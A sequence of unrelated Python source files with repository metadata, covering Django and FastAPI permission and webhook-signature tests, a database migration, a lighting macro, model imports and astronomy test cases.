event_queue_producer, parse_error_queue_producer, knowledge_base_object) resolver_context = context.Context() extraction_worker = worker.BaseEventExtractionWorker( 0, path_spec_queue, event_queue_producer, parse_error_queue_producer, parser_mediator, resolver_context=resolver_context) # We're going to check that the worker set up its internal state correctly. # pylint: disable=protected-access extraction_worker.SetHashers(hasher_names_string=u'md5') self.assertEqual(1, len(extraction_worker._hasher_names)) extraction_worker.InitializeParserObjects() if __name__ == '__main__': unittest.main()

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4ed39189f6f4f17e55e2a6b324e7623e1bdbc6b6

22,246

py

Python

rdmo/projects/tests/test_view_project.py

m6121/rdmo

db3990c7525138c6ce9634fc3e5b6b8ee9b915c8

[ "Apache-2.0" ]

null

rdmo/projects/tests/test_view_project.py

m6121/rdmo

db3990c7525138c6ce9634fc3e5b6b8ee9b915c8

[ "Apache-2.0" ]

null

rdmo/projects/tests/test_view_project.py

m6121/rdmo

db3990c7525138c6ce9634fc3e5b6b8ee9b915c8

[ "Apache-2.0" ]

null

import re import pytest from django.urls import reverse from rdmo.views.models import View from ..models import Project users = ( ('owner', 'owner'), ('manager', 'manager'), ('author', 'author'), ('guest', 'guest'), ('user', 'user'), ('site', 'site'), ('anonymous', None), ) view_project_permission_map = { 'owner': [1, 2, 3, 4, 5], 'manager': [1, 3, 5, 7], 'author': [1, 3, 5, 8], 'guest': [1, 3, 5, 9], 'api': [1, 2, 3, 4, 5], 'site': [1, 2, 3, 4, 5, 6, 7, 8, 9] } change_project_permission_map = { 'owner': [1, 2, 3, 4, 5], 'manager': [1, 3, 5, 7], 'api': [1, 2, 3, 4, 5], 'site': [1, 2, 3, 4, 5, 6, 7, 8, 9] } delete_project_permission_map = { 'owner': [1, 2, 3, 4, 5], 'api': [1, 2, 3, 4, 5], 'site': [1, 2, 3, 4, 5, 6, 7, 8, 9] } export_project_permission_map = { 'owner': [1, 2, 3, 4, 5], 'manager': [1, 3, 5, 7], 'api': [1, 2, 3, 4, 5], 'site': [1, 2, 3, 4, 5, 6, 7, 8, 9] } projects = [1, 2, 3, 4, 5, 6, 7, 8, 9] export_formats = ('rtf', 'odt', 'docx', 'html', 'markdown', 'tex', 'pdf') site_id = 1 parent_project_id = 1 catalog_id = 1 @pytest.mark.parametrize('username,password', users) def test_list(db, client, username, password): client.login(username=username, password=password) url = reverse('projects') response = client.get(url) projects = re.findall(r'/projects/(\d+)/', response.content.decode()) if password: assert response.status_code == 200 if username == 'site': assert projects == [] else: assert sorted(list(set([int(project_id) for project_id in projects]))) \ == view_project_permission_map.get(username, []) else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) def test_site(db, client, username, password): client.login(username=username, password=password) url = reverse('site_projects') response = client.get(url) projects = re.findall(r'/projects/(\d+)/update/', response.content.decode()) if username == 'site': assert sorted([int(project_id) for project_id in projects]) \ == view_project_permission_map.get(username, []) elif password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_detail(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project', args=[project_id]) response = client.get(url) if project_id in view_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) def test_project_create_get(db, client, username, password): client.login(username=username, password=password) url = reverse('project_create') response = client.get(url) if password: assert response.status_code == 200 # check the parent select dropdown for project_id in re.findall(r'<option value="(\d+)"', response.content.decode()): assert int(project_id) in view_project_permission_map.get(username, []) else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) def test_project_create_post(db, client, username, password): client.login(username=username, password=password) project_count = Project.objects.count() url = reverse('project_create') data = { 'title': 'A new project', 'description': 'Some description', 'catalog': catalog_id } response = client.post(url, data) if password: assert response.status_code == 302 assert Project.objects.count() == project_count + 1 else: assert response.status_code == 302 assert Project.objects.count() == project_count @pytest.mark.parametrize('username,password', users) def test_project_create_parent_post(db, client, username, password): client.login(username=username, password=password) project_count = Project.objects.count() url = reverse('project_create') data = { 'title': 'A new project', 'description': 'Some description', 'catalog': catalog_id, 'parent': parent_project_id } response = client.post(url, data) if username == 'user': assert response.status_code == 200 assert Project.objects.count() == project_count elif password: assert response.status_code == 302 assert Project.objects.count() == project_count + 1 else: assert response.status_code == 302 assert Project.objects.count() == project_count @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_get(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_update', args=[project_id]) response = client.get(url) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_post(db, client, username, password, project_id): client.login(username=username, password=password) project = Project.objects.get(pk=project_id) url = reverse('project_update', args=[project_id]) data = { 'title': 'New title', 'description': project.description, 'catalog': project.catalog.pk } response = client.post(url, data) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 302 assert Project.objects.get(pk=project_id).title == 'New title' else: if password: assert response.status_code == 403 else: assert response.status_code == 302 assert Project.objects.get(pk=project_id).title == project.title @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_post_parent(db, client, username, password, project_id): client.login(username=username, password=password) project = Project.objects.get(pk=project_id) url = reverse('project_update', args=[project_id]) data = { 'title': project.title, 'description': project.description, 'catalog': project.catalog.pk, 'parent': parent_project_id } response = client.post(url, data) if project_id in change_project_permission_map.get(username, []): if project_id == parent_project_id: assert response.status_code == 200 assert Project.objects.get(pk=project_id).parent == project.parent else: assert response.status_code == 302 assert Project.objects.get(pk=project_id).parent_id == parent_project_id else: if password: assert response.status_code == 403 else: assert response.status_code == 302 assert Project.objects.get(pk=project_id).parent == project.parent @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_information_get(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_update_information', args=[project_id]) response = client.get(url) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_information_post(db, client, username, password, project_id): client.login(username=username, password=password) project = Project.objects.get(pk=project_id) url = reverse('project_update_information', args=[project_id]) data = { 'title': 'Lorem ipsum dolor sit amet', 'description': 'At vero eos et accusam et justo duo dolores et ea rebum.' } response = client.post(url, data) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 302 assert Project.objects.get(pk=project_id).title == 'Lorem ipsum dolor sit amet' else: if password: assert response.status_code == 403 else: assert response.status_code == 302 assert Project.objects.get(pk=project_id).title == project.title @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_catalog_get(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_update_catalog', args=[project_id]) response = client.get(url) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_catalog_post(db, client, username, password, project_id): client.login(username=username, password=password) project = Project.objects.get(pk=project_id) url = reverse('project_update_catalog', args=[project_id]) data = { 'catalog': catalog_id } response = client.post(url, data) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 302 assert Project.objects.get(pk=project_id).catalog_id == catalog_id else: if password: assert response.status_code == 403 else: assert response.status_code == 302 assert Project.objects.get(pk=project_id).catalog == project.catalog @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_tasks_get(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_update_tasks', args=[project_id]) response = client.get(url) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_tasks_post(db, client, username, password, project_id): client.login(username=username, password=password) project = Project.objects.get(pk=project_id) url = reverse('project_update_tasks', args=[project_id]) data = { 'tasks': [] } response = client.post(url, data) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 302 assert list(Project.objects.get(pk=project_id).tasks.values('id')) == [] else: if password: assert response.status_code == 403 else: assert response.status_code == 302 assert list(Project.objects.get(pk=project_id).tasks.values('id')) == list(project.tasks.values('id')) @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_views_get(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_update_views', args=[project_id]) response = client.get(url) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_views_post(db, client, username, password, project_id): client.login(username=username, password=password) project = Project.objects.get(pk=project_id) url = reverse('project_update_views', args=[project_id]) data = { 'views': [] } response = client.post(url, data) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 302 assert list(Project.objects.get(pk=project_id).views.values('id')) == [] else: if password: assert response.status_code == 403 else: assert response.status_code == 302 assert list(Project.objects.get(pk=project_id).views.values('id')) == list(project.views.values('id')) @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_parent_get(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_update_parent', args=[project_id]) response = client.get(url) if project_id in change_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_update_parent_post(db, client, username, password, project_id): client.login(username=username, password=password) project = Project.objects.get(pk=project_id) url = reverse('project_update_parent', args=[project_id]) data = { 'parent': parent_project_id } response = client.post(url, data) if project_id in change_project_permission_map.get(username, []): if project_id == parent_project_id: assert response.status_code == 200 assert Project.objects.get(pk=project_id).parent == project.parent else: assert response.status_code == 302 assert Project.objects.get(pk=project_id).parent_id == parent_project_id else: if password: assert response.status_code == 403 else: assert response.status_code == 302 assert Project.objects.get(pk=project_id).parent == project.parent @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_delete_get(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_delete', args=[project_id]) response = client.get(url) if project_id in delete_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_delete_post(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_delete', args=[project_id]) response = client.post(url) if project_id in delete_project_permission_map.get(username, []): assert response.status_code == 302 assert not Project.objects.filter(pk=project_id).first() else: if password: assert response.status_code == 403 else: assert response.status_code == 302 assert Project.objects.filter(pk=project_id).first() @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_export_xml(db, client, files, username, password, project_id): client.login(username=username, password=password) url = reverse('project_export', args=[project_id, 'xml']) response = client.get(url) if project_id in export_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_export_csv(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_export', args=[project_id, 'csvcomma']) response = client.get(url) if project_id in export_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_export_csvsemicolon(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_export', args=[project_id, 'csvsemicolon']) response = client.get(url) if project_id in export_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_answers(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_answers', args=[project_id]) response = client.get(url) if project_id in view_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) @pytest.mark.parametrize('export_format', export_formats) def test_project_answers_export(db, client, username, password, project_id, export_format): client.login(username=username, password=password) url = reverse('project_answers_export', args=[project_id, export_format]) response = client.get(url) if project_id in view_project_permission_map.get(username, []): assert response.status_code == 200 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_view(db, client, username, password, project_id): client.login(username=username, password=password) project_views = Project.objects.get(pk=project_id).views.all() for view in View.objects.all(): url = reverse('project_view', args=[project_id, view.id]) response = client.get(url) if project_id in view_project_permission_map.get(username, []): if view in project_views: assert response.status_code == 200 else: assert response.status_code == 404 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) @pytest.mark.parametrize('export_format', export_formats) def test_project_view_export(db, client, username, password, project_id, export_format): client.login(username=username, password=password) project_views = Project.objects.get(pk=project_id).views.all() for view in View.objects.all(): url = reverse('project_view_export', args=[project_id, view.pk, export_format]) response = client.get(url) if project_id in view_project_permission_map.get(username, []): if view in project_views: assert response.status_code == 200 else: assert response.status_code == 404 else: if password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_questions(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_questions', args=[project_id]) response = client.get(url) if project_id in view_project_permission_map.get(username, []): assert response.status_code == 200 elif password: assert response.status_code == 403 else: assert response.status_code == 302 @pytest.mark.parametrize('username,password', users) @pytest.mark.parametrize('project_id', projects) def test_project_error(db, client, username, password, project_id): client.login(username=username, password=password) url = reverse('project_questions', args=[project_id]) response = client.get(url) if project_id in view_project_permission_map.get(username, []): assert response.status_code == 200 elif password: assert response.status_code == 403 else: assert response.status_code == 302

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0

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111

33.808511

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false

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null

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0

1

0

null

0

1

0

8

0920fdaff0e8ab40f9315b77f6667b6c1bba67a7

5,400

py

Python

app/tests/routers/test_webhooks.py

kalaspuff/newshades-api

e22a8875b6e50f71e67dfdaf7b1b3e85817fb5b9

[ "CC0-1.0" ]

null

app/tests/routers/test_webhooks.py

kalaspuff/newshades-api

e22a8875b6e50f71e67dfdaf7b1b3e85817fb5b9

[ "CC0-1.0" ]

null

app/tests/routers/test_webhooks.py

kalaspuff/newshades-api

e22a8875b6e50f71e67dfdaf7b1b3e85817fb5b9

[ "CC0-1.0" ]

null

import asyncio import hashlib import hmac import json import random import time import arrow import pytest from fastapi import FastAPI from httpx import AsyncClient from pymongo.database import Database from app.config import get_settings from app.models.user import User class TestWebhookRoutes: @pytest.mark.asyncio async def test_pusher_channel_occupied( self, app: FastAPI, db: Database, current_user: User, authorized_client: AsyncClient, event_loop ): settings = get_settings() assert current_user.online_channels == [] channel_id = f"private-{str(current_user.id)}" current_time = time.time() * 1000 json_data = {"time_ms": current_time, "events": [{"channel": channel_id, "name": "channel_occupied"}]} signature = hmac.new( settings.pusher_secret.encode("utf8"), json.dumps(json_data).encode("utf8"), hashlib.sha256 ).hexdigest() headers = {"X-Pusher-Key": settings.pusher_key, "X-Pusher-Signature": signature} response = await authorized_client.post("/webhooks/pusher", json=json_data, headers=headers) assert response.status_code == 200 await asyncio.sleep(random.random(), loop=event_loop) await current_user.reload() assert current_user.online_channels == [channel_id] @pytest.mark.asyncio async def test_pusher_channel_vacated( self, app: FastAPI, db: Database, current_user: User, authorized_client: AsyncClient, event_loop ): settings = get_settings() channel_id = f"private-{str(current_user.id)}" current_user.online_channels = [channel_id] await current_user.commit() assert current_user.online_channels == [channel_id] current_time = time.time() * 1000 json_data = {"time_ms": current_time, "events": [{"channel": channel_id, "name": "channel_vacated"}]} signature = hmac.new( settings.pusher_secret.encode("utf8"), json.dumps(json_data).encode("utf8"), hashlib.sha256 ).hexdigest() headers = {"X-Pusher-Key": settings.pusher_key, "X-Pusher-Signature": signature} response = await authorized_client.post("/webhooks/pusher", json=json_data, headers=headers) assert response.status_code == 200 await asyncio.sleep(random.random(), loop=event_loop) await current_user.reload() assert current_user.online_channels == [] @pytest.mark.asyncio async def test_pusher_expired_webhook( self, app: FastAPI, db: Database, current_user: User, authorized_client: AsyncClient, ): settings = get_settings() channel_id = f"private-{str(current_user.id)}" current_user.online_channels = [channel_id] await current_user.commit() assert current_user.online_channels == [channel_id] current_time = arrow.utcnow().shift(days=-1).float_timestamp * 1000 json_data = {"time_ms": current_time, "events": [{"channel": channel_id, "name": "channel_vacated"}]} signature = hmac.new( settings.pusher_secret.encode("utf8"), json.dumps(json_data).encode("utf8"), hashlib.sha256 ).hexdigest() headers = {"X-Pusher-Key": settings.pusher_key, "X-Pusher-Signature": signature} response = await authorized_client.post("/webhooks/pusher", json=json_data, headers=headers) assert response.status_code == 401 @pytest.mark.asyncio async def test_pusher_bad_signature( self, app: FastAPI, db: Database, current_user: User, authorized_client: AsyncClient, ): settings = get_settings() channel_id = f"private-{str(current_user.id)}" current_user.online_channels = [channel_id] await current_user.commit() assert current_user.online_channels == [channel_id] current_time = time.time() * 1000 json_data = {"time_ms": current_time, "events": [{"channel": channel_id, "name": "channel_vacated"}]} signature = hmac.new( settings.pusher_secret.encode("utf8"), json.dumps(json_data).encode("utf8"), hashlib.sha256 ).hexdigest() headers = {"X-Pusher-Key": settings.pusher_key, "X-Pusher-Signature": f"{signature}-hack"} response = await authorized_client.post("/webhooks/pusher", json=json_data, headers=headers) assert response.status_code == 401 @pytest.mark.asyncio async def test_pusher_bad_key( self, app: FastAPI, db: Database, current_user: User, authorized_client: AsyncClient, ): settings = get_settings() channel_id = f"private-{str(current_user.id)}" current_user.online_channels = [channel_id] await current_user.commit() assert current_user.online_channels == [channel_id] current_time = time.time() * 1000 json_data = {"time_ms": current_time, "events": [{"channel": channel_id, "name": "channel_vacated"}]} signature = hmac.new( settings.pusher_secret.encode("utf8"), json.dumps(json_data).encode("utf8"), hashlib.sha256 ).hexdigest() headers = {"X-Pusher-Key": "no-key", "X-Pusher-Signature": signature} response = await authorized_client.post("/webhooks/pusher", json=json_data, headers=headers) assert response.status_code == 401

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null

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7

09427767e0844aa1b08fbee0f4f5a9f3087225d5

3,699

py

Python

ghostwriter/shepherd/migrations/0035_auto_20220205_0026.py

bbhunter/Ghostwriter

1b684ddd119feed9891e83b39c9b314b41d086ca

[ "BSD-3-Clause" ]

1

2022-02-04T20:24:35.000Z

ghostwriter/shepherd/migrations/0035_auto_20220205_0026.py

bbhunter/Ghostwriter

1b684ddd119feed9891e83b39c9b314b41d086ca

[ "BSD-3-Clause" ]

null

ghostwriter/shepherd/migrations/0035_auto_20220205_0026.py

bbhunter/Ghostwriter

1b684ddd119feed9891e83b39c9b314b41d086ca

[ "BSD-3-Clause" ]

null

# Generated by Django 3.2.11 on 2022-02-05 00:26 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('shepherd', '0034_remove_domain_health_dns'), ] operations = [ migrations.AlterField( model_name='activitytype', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='auxserveraddress', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='domain', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='domainnote', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='domainserverconnection', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='domainstatus', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='healthstatus', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='history', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='serverhistory', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='servernote', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='serverprovider', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='serverrole', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='serverstatus', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='staticserver', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='transientserver', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='whoisstatus', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), ]

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null

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1

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1

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null

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10

094b162f94aef9b6c8d72a35140ceb1cb7970705

250

py

Python

Macros/Colours/Pink/Pink.py

rec/dmxis

540baa59df6f4ae39990e5888f90b95caa362279

[ "Artistic-2.0" ]

2

2019-05-26T15:11:18.000Z

2021-12-27T21:05:32.000Z

Macros/Colours/Pink/Pink.py

rec/DMXIS

540baa59df6f4ae39990e5888f90b95caa362279

[ "Artistic-2.0" ]

null

Macros/Colours/Pink/Pink.py

rec/DMXIS

540baa59df6f4ae39990e5888f90b95caa362279

[ "Artistic-2.0" ]

null

#=============================================================== # DMXIS Macro (c) 2010 db audioware limited #=============================================================== import System.RGB from System.RGB import * RgbColour(255,192,203)

27.777778

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1

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7

11d443e4e2a2185d8bec490c10e4085a1a5323ca

515

py

Python

cv_lib/cv_lib/segmentation/models/__init__.py

squassina/seismic-deeplearning

ffb2855249e581f4900665c2616cefb019621675

[ "MIT" ]

270

2019-12-17T13:40:51.000Z

2022-03-20T10:02:11.000Z

cv_lib/cv_lib/segmentation/models/__init__.py

squassina/seismic-deeplearning

ffb2855249e581f4900665c2616cefb019621675

[ "MIT" ]

233

2019-12-18T17:59:36.000Z

2021-08-03T13:43:49.000Z

cv_lib/cv_lib/segmentation/models/__init__.py

squassina/seismic-deeplearning

ffb2855249e581f4900665c2616cefb019621675

[ "MIT" ]

118

2019-12-17T13:41:43.000Z

2022-03-29T02:06:36.000Z

# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. import cv_lib.segmentation.models.seg_hrnet # noqa: F401 import cv_lib.segmentation.models.resnet_unet # noqa: F401 import cv_lib.segmentation.models.unet # noqa: F401 import cv_lib.segmentation.models.section_deconvnet # noqa: F401 import cv_lib.segmentation.models.patch_deconvnet # noqa: F401 import cv_lib.segmentation.models.patch_deconvnet_skip # noqa: F401 import cv_lib.segmentation.models.section_deconvnet_skip # noqa: F401

46.818182

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1

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7

11ee4afb8b55e5dcf04950d223bd62bcd89dc58d

100

py

Python

python/src/example.py

kodability/test-images

def67f4e8b6798df7a3b6d1a1f3c045e1d3d6c07

[ "Apache-2.0" ]

null

python/src/example.py

kodability/test-images

def67f4e8b6798df7a3b6d1a1f3c045e1d3d6c07

[ "Apache-2.0" ]

null

python/src/example.py

kodability/test-images

def67f4e8b6798df7a3b6d1a1f3c045e1d3d6c07

[ "Apache-2.0" ]

null

def sum(value_from, value_to): return (value_from + value_to) * (value_to - value_from + 1) / 2

33.333333

68

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100

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0.470588

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0

0.024691

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1

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null

0

1

0

1

0

7

11f7d1934fa29a2e21ee62102e3487c4e0d57512

30,556

py

Python

commissioning/wfc3_uvis1_spec_62_cases.py

dobos/pysynphot

5d2e0b52ceda78890940ac9239c2d88e149e0bed

[ "BSD-3-Clause" ]

24

2015-01-04T23:38:21.000Z

2022-02-01T00:11:07.000Z

commissioning/wfc3_uvis1_spec_62_cases.py

dobos/pysynphot

5d2e0b52ceda78890940ac9239c2d88e149e0bed

[ "BSD-3-Clause" ]

126

2015-01-29T14:50:37.000Z

2022-02-15T01:58:13.000Z

commissioning/wfc3_uvis1_spec_62_cases.py

dobos/pysynphot

5d2e0b52ceda78890940ac9239c2d88e149e0bed

[ "BSD-3-Clause" ]

25

2015-02-09T12:12:02.000Z

2021-09-09T13:06:54.000Z

from pytools import testutil import sys import basecase class calcspecCase1(basecase.calcspecCase): def setUp(self): self.obsmode="None" self.spectrum="icat(k93models,9230,0.0,4.1)" self.subset=True self.etcid="None" self.setglobal(__file__) self.runpy() class countrateCase1(basecase.countrateCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),22.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=True self.etcid="['uvsp1006.tab:5000', 'uvsp1006.tab:5001', 'uvsp1006.tab:5002', 'uvsp1006.tab:5003', 'uvsp1006.tab:5004', 'uvsp1006.tab:5005', 'uvsp1006.tab:5006', 'uvsp1006.tab:5007', 'uvsp1006.tab:5008', 'uvsp1006.tab:5009', 'uvsp1006.tab:5010', 'uvsp1006.tab:5011', 'uvsp1006.tab:5012', 'uvsp1006.tab:5013', 'uvsp1006.tab:5014', 'uvsp1006.tab:5015', 'uvsp1006.tab:5016', 'uvsp1006.tab:5017', 'uvsp1006.tab:5018', 'uvsp1006.tab:5019', 'uvsp1006.tab:5020', 'uvsp1006.tab:5021', 'uvsp1006.tab:5022', 'uvsp1006.tab:5023', 'uvsp1006.tab:5024', 'uvsp1006.tab:5025', 'uvsp1006.tab:5026', 'uvsp1006.tab:5027', 'uvsp1006.tab:5028', 'uvsp1006.tab:5029', 'uvsp1006.tab:5030', 'uvsp1006.tab:5031', 'uvsp1006.tab:5032', 'uvsp1006.tab:5033', 'uvsp1006.tab:5034', 'uvsp1006.tab:5035', 'uvsp1006.tab:5036', 'uvsp1006.tab:5037', 'uvsp1006.tab:5038', 'uvsp1006.tab:5039', 'uvsp1006.tab:5040', 'uvsp1006.tab:5041', 'uvsp1006.tab:5042', 'uvsp1006.tab:5043', 'uvsp1006.tab:5044', 'uvsp1006.tab:5045', 'uvsp1006.tab:5046', 'uvsp1006.tab:5047', 'uvsp1006.tab:5048', 'uvsp1006.tab:5049', 'uvsp1006.tab:5050', 'uvsp1006.tab:5051', 'uvsp1006.tab:5052', 'uvsp1006.tab:5053', 'uvsp1006.tab:5054', 'uvsp1006.tab:5055', 'uvsp1006.tab:5056', 'uvsp1006.tab:5057', 'uvsp1006.tab:5058', 'uvsp1006.tab:5059', 'uvsp1006.tab:5060', 'uvsp1006.tab:5061', 'uvsp1006.tab:5062', 'uvsp1006.tab:5063', 'uvsp1006.tab:5064', 'uvsp1006.tab:5065', 'uvsp1006.tab:5066', 'uvsp1006.tab:5067', 'uvsp1006.tab:5068', 'uvsp1006.tab:5069', 'uvsp1006.tab:5070', 'uvsp1006.tab:5071', 'uvsp1006.tab:5072', 'uvsp1006.tab:5073', 'uvsp1006.tab:5074', 'uvsp1006.tab:5075', 'uvsp1006.tab:5076', 'uvsp1006.tab:5077', 'uvsp1006.tab:5078', 'uvsp1006.tab:5079', 'uvsp1006.tab:5080', 'uvsp1006.tab:5081', 'uvsp1006.tab:5082', 'uvsp1006.tab:5083', 'uvsp1006.tab:5084', 'uvsp1006.tab:5085', 'uvsp1006.tab:5086', 'uvsp1006.tab:5087', 'uvsp1006.tab:5088', 'uvsp1006.tab:5089', 'uvsp1006.tab:5090', 'uvsp1006.tab:5091', 'uvsp1006.tab:5092', 'uvsp1006.tab:5093', 'uvsp1006.tab:5094', 'uvsp1006.tab:5095', 'uvsp1006.tab:5096', 'uvsp1006.tab:5097', 'uvsp1006.tab:5098', 'uvsp1006.tab:5099', 'uvsp1006.tab:5100', 'uvsp1006.tab:5101', 'uvsp1006.tab:5102', 'uvsp1006.tab:5103', 'uvsp1006.tab:5104', 'uvsp1006.tab:5105', 'uvsp1006.tab:5106', 'uvsp1006.tab:5107', 'uvsp1006.tab:5108', 'uvsp1006.tab:5109', 'uvsp1006.tab:5110', 'uvsp1006.tab:5111', 'uvsp1006.tab:5112', 'uvsp1006.tab:5113', 'uvsp1006.tab:5114', 'uvsp1006.tab:5115', 'uvsp1006.tab:5116', 'uvsp1006.tab:5117', 'uvsp1006.tab:5118', 'uvsp1006.tab:5119', 'uvsp1006.tab:5120', 'uvsp1006.tab:5121', 'uvsp1006.tab:5122', 'uvsp1006.tab:5123', 'uvsp1006.tab:5124', 'uvsp1006.tab:5125', 'uvsp1006.tab:5126', 'uvsp1006.tab:5127', 'uvsp1006.tab:5128', 'uvsp1006.tab:5129', 'uvsp1006.tab:5130', 'uvsp1006.tab:5131', 'uvsp1006.tab:5132', 'uvsp1006.tab:5133', 'uvsp1006.tab:5134', 'uvsp1006.tab:5135', 'uvsp1006.tab:5136', 'uvsp1006.tab:5137', 'uvsp1006.tab:5138', 'uvsp1006.tab:5139', 'uvsp1006.tab:5140', 'uvsp1006.tab:5141', 'uvsp1006.tab:5142', 'uvsp1006.tab:5143', 'uvsp1006.tab:5144', 'uvsp1006.tab:5145', 'uvsp1006.tab:5146', 'uvsp1006.tab:5147', 'uvsp1006.tab:5148', 'uvsp1006.tab:5149']" self.setglobal(__file__) self.runpy() class calcphotCase1(basecase.calcphotCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" 